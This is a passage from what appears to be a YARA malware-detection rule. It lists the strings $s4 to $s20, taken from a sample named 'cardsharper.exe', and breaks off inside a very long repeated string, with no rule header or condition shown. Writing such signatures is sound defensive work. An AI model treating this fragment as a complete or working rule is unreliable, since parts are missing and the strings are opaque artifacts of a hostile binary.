$s4 = "auhwajtoqytlpiphvdjeptultdnxoycrwnhxikekatmipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptultdnxo" fullword ascii
$s5 = "jvjvbauhwajtoqytlpiphvdjeptultdnxoycrwnhxikekatmipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptul" fullword ascii
$s6 = "cardsharper.exe" fullword wide
$s7 = "8BAndVNaiTqIJaSMbWPhG3OnQybcZriOD73f3HId4JvZZf8QducIzH3eWmFNUKj0LLeKfMRDoLm6IYxKzu7FpJp5d" fullword ascii
$s8 = "0auylusmslgqkcklxtxksvnfn00crwnhxikekatmipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptultdnxoy7." fullword ascii
$s9 = "Aerdaekatmipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptultdnxoycrwnhxik" fullword ascii
$s10 = "ipxycmzxzdzyjvjvbauhwajtoqytlpiphvdjeptultdnxoycrwnhxikekatmipxyzdzyjvjvbauhwajt?py(lpiphvdjeptultdnxoycrwnhxik" fullword ascii
$s11 = "i,hBdXe5tAl5d+x-yRrZn)x[kVkQt@iDxMc+zLzIz;jEjEb\"uEw'jEoHyAl2i2h@d_eDtLlGd_xAy" fullword ascii
$s12 = "all-encompassing" fullword wide
$s13 = "mzxzdzyjvjvbauhwajtoqytlpiphvdjept" fullword ascii
$s14 = "ytlpiphvdjeptultdnxoycrwnhxikekatmipx" fullword ascii
$s15 = "operator co_await" fullword ascii
$s16 = "iphvd+e2t6l0d+x)y$r?n!x#k.k-t i>x6c=z)z6z*j\"j#b7u?w9j-o+ytlpi" fullword ascii
$s17 = "operator<=>" fullword ascii
$s18 = "Uqipxvdj5qtul4dnhoycpwnmxhkekathiqxycmzxZnzynvjvbaujwa" fullword ascii
$s19 = "IYxKzu7FpJp5dYrRb3rtzDn8BAndVNaiTqIJaSMbWPhG3OnQybcZriOD73f3HId4JvZZf8QducIzH3eWmFNUKj0LL" fullword ascii
$s20 = "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